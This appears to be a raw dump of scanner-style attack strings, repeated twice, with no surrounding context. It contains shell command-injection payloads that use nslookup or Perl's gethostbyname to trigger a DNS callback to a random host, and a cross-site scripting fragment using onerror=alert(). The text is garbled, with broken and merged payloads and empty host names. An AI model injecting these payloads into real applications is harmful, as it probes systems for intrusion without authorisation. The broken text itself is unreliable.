$(nslookup ||perl -e src=x onerror=alert()> $(nslookup ||perl -e "gethostbyname('')") $(nslookup hitqykbdfozx圆||perl -e "gethostbyname('hitqykbdfozx圆')")
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(nslookup ||perl -e src=x onerror=alert()> $(nslookup ||perl -e "gethostbyname('')") $(nslookup hitqykbdfozx圆||perl -e "gethostbyname('hitqykbdfozx圆')")
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")